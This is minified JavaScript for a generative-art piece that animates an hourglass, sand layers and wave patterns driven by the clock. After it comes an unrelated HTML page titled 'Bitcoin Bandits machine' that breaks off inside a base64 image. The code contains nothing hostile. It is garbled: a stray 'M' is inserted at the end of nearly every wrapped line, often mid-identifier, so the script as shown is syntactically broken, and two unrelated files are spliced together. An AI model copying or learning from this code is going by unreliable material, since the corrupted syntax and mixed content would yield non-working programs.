;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAUeklEQVR4nO3dbbBdVXkH8HWlFhRNDUIhTCGNtTD4Lom205vUEAdTsCaIlcBgO2BqbesLZaY0H3yDWqeT0g4vth0dJ4ShMBhsZ0DHWHBM6UA6HSCYvkgGpjUGrCAEY6NIHIvph3D2Wffevc8++97z8pxzfr8vrrvPPuusJPLMc/977X2mpteuO5wACOcFw14AAOUUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoH5m2Asgrp13fnHYS6BHpteuM
G/YSmAcdNEBQCjRAUCIOKqOM6249XIwvu2iqGE+f92DH+V686GW1n/miRYs7vn7MsS/t+PopJ9X3FqeeNFXzeu0U6dEn6l4/3PmElNJjT/y04+uHnvlBx9efPXig9jN+dPD7pcd33n5m7XuJSwcNEJQCDRCUiGPClMUZeZTRxN7/uL0Y3/a/ny7Gy445rn3Ooe8V46vO3TVnjge+ck2jOa7f+FRKKaVb//rKRu/b9en2uOUDv/uJ2jlOqJkjV7emsj9HJ62/m/t/fEtxLJ8jX+cFK75QOx+jRwcNEJQCDRCUiGNMdbMzozh393Ol506/4aiuP68qWrjg5z5UjG/bvrwY/8WF3+x6jvx4k8/Oj88NV7qbY8b6P3TknLqoo2q+GXNtOaEY538XeeTTijaq1pO7/4F3t88Rd4wNHTRAUDroMdDkwl9Vt7xQ3XS8dZ3wm46+uBjfn24pPb6y5rOrOsxNHT+52frruvFu5qv7u8jnyM999fQlxfgbO28s/TzGhw4aICgFM
